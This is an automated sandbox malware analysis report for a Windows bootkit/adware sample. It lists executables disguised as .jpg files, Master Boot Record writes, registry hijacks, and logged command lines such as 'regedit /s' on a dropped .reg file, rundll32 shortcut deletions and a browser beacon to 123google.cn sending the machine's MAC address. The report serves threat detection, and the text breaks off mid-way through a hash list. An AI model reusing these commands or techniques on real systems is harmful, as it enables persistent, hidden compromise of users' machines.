Malware Analysis Report

2025-01-03 09:22

Sample ID 240620-pk72maxbmh
Target 05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118
SHA256 40cba540697c2976f6a66aa1b60d6bf71fcc04937b27c682c951f1cd8401e882
Tags
bootkit evasion persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

40cba540697c2976f6a66aa1b60d6bf71fcc04937b27c682c951f1cd8401e882

Threat Level: Known bad

The file 05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

bootkit evasion persistence

Modifies visibility of file extensions in Explorer

Executes dropped EXE

Deletes itself

Loads dropped DLL

Writes to the Master Boot Record (MBR)

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

Modifies Internet Explorer settings

Runs .reg file with regedit

Modifies registry class

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-20 12:24

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-20 12:24

Reported

2024-06-20 12:26

Platform

win7-20240221-en

Max time kernel

117s

Max time network

117s

Command Line

"C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe"

Signatures

Modifies visibility of file extensions in Explorer

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" C:\WINDOWS\1059\mone.jpg N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\WINDOWS\1059\women.jpg N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\WINDOWS\1059\women.jpg N/A
N/A N/A C:\WINDOWS\1059\mone.jpg N/A
N/A N/A C:\WINDOWS\1059\spring.jpg N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\WINDOWS\1059\11.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\17.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\women.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\spring.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\jia.reg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\4.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\6.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\Sunset.jpg C:\WINDOWS\1059\women.jpg N/A
File opened for modification C:\WINDOWS\1059\9.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\13.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\10.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\mone.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\winner.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\mone.jpg N/A
File opened for modification C:\WINDOWS\1059\5.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\7.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\8.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\2.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\3.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{06653441-2F00-11EF-87AA-FA8378BF1C4A} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\ = "????" C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\NeverShowExt = "1" C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command\ = "IEXPLORE.EXE http://www.manyou123.com/?pm" C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "@%SystemRoot%\\system32\\SHELL32.dll,-30520" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32 C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849} C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "Search Results Folder" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "%SystemRoot%\\SysWow64\\SHELL32.dll,-134" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%SystemRoot%\\SysWow64\\SHELL32.dll" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder C:\Windows\SysWOW64\regedit.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "942747698" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE,0" C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\IntroText = "@%SystemRoot%\\system32\\SHELL32.dll,-31754" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment" C:\Windows\SysWOW64\regedit.exe N/A

Runs .reg file with regedit

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regedit.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
N/A N/A C:\WINDOWS\1059\mone.jpg N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\WINDOWS\1059\mone.jpg N/A
Token: SeDebugPrivilege N/A C:\WINDOWS\1059\spring.jpg N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1984 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 1984 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 1984 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 1984 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2584 wrote to memory of 2680 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2584 wrote to memory of 2680 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2584 wrote to memory of 2680 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2584 wrote to memory of 2680 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 1984 wrote to memory of 588 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 1984 wrote to memory of 588 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 1984 wrote to memory of 588 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 1984 wrote to memory of 588 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 588 wrote to memory of 3056 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 588 wrote to memory of 3056 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 588 wrote to memory of 3056 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 588 wrote to memory of 3056 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 3056 wrote to memory of 1460 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 3056 wrote to memory of 1460 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 3056 wrote to memory of 1460 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 3056 wrote to memory of 1460 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 1460 wrote to memory of 1404 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1460 wrote to memory of 1404 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1460 wrote to memory of 1404 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1460 wrote to memory of 1404 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 916 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1500 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 2964 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 700 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1460 wrote to memory of 1036 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" http://www.123google.cn/tjjjj/get.asp?mac=FA8378BF1C00&makedate=QM00013&comput=Home&ver=27&userid=0001&Key=7D3D7A690EE44F3071765FB879953442

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2584 CREDAT:275457 /prefetch:2

C:\WINDOWS\1059\women.jpg

C:\WINDOWS\1059\women.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe===

C:\WINDOWS\1059\mone.jpg

C:\WINDOWS\1059\mone.jpg

C:\WINDOWS\1059\spring.jpg

spring.jpg 1208

C:\Windows\SysWOW64\regedit.exe

regedit /s "C:\WINDOWS\1059\jia.reg"

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\launch internet explorer browser.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.123google.cn udp

Files

memory/1984-0-0x0000000000400000-0x0000000000455000-memory.dmp

memory/1984-1-0x0000000000020000-0x0000000000022000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab3506.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar35E9.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 cdccee4ecf1de13b9afe9f0b2480f9a2
SHA1 a667472df60644e9636994805c075a7ce97fb592
SHA256 3233fb493f499f51c50a507cd5ca530aaa20e2926aa1dcc471378fa15b914b71
SHA512 b8ec06aa6f4234cee20a99eb451e9a2908d72c3123468b96caa5ee117b3594048151e00f5357aff542577129386c758eb63dc5ca15499cf4526a541f13d7cc73

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 f1691048681383255be99ae15561149c
SHA1 821db4b86ae1ec782f3e209774777ba82abc8a13
SHA256 92741d1f3b0f61a00145e81e1bc4a30baf78d38b40575d7851fe2b734e376292
SHA512 1fdf8fdf4cbdcf2d2e9c26470ddaa77731373da5f6cdf57a8f423593a50ccb66d63f24383910882deb5553a0653a5f1e5b9e483ef146f78699073e52186be13c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e200e064493a65508608eb2b53e2986e
SHA1 676ff1307ea2808b4862a5efc32a2ddfe2c83cfe
SHA256 f824cbea8a57e6027c8e8504842810fddaf82c26128aaf7dae3d9bb2bf49711f
SHA512 5f2cdc24f3677ba354b4da16c71be88a2cd0a42303e1c6a3e2ab10037882d94d759f618652da18e12cd907899d4cc5d295a2d085cb22a3c0b8c2235c02d64a88

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 84e688b4adf4877b2ea59f38fe07ade6
SHA1 ecf3184e52478d3196edb413a1f89ae4e41a1c9e
SHA256 a60daa10dd1d644f76f5d6bd5e91ed68aa62bc8c0d3503a44c52a1e353ba3631
SHA512 80d203d1adf9072640d722c87c1b72abaed9655ffe80e35a16026f103f39e51fab18bf22b57a838931a274eb48d913651be6dede1a8eb0eb2cf017d9172f0743

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d2ad9597d765d4e56608119e751de3a4
SHA1 7530f400706ede79ef84134dcdce87d179f20d1d
SHA256 3a08dbdec6c44323576498ecfffd4e7827f7ca2c19c34ceb0174b77669198982
SHA512 6dc2cc86078465df7142aaa938d5a77a73398913a7ab2e4b73c9af24c3f0690a85a5d1f5b216e4c8ea7601c0917f934a68bfad9aae3cca1572fb0ec6920f59f6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 19b8ea7b433eda56e08fb3910bb81851
SHA1 f4580b0ccfd55264bed615da609ab56559512c23
SHA256 bac3ed2a8f4435a0da69ebd181552df67324460d995709ee360332295c06b31d
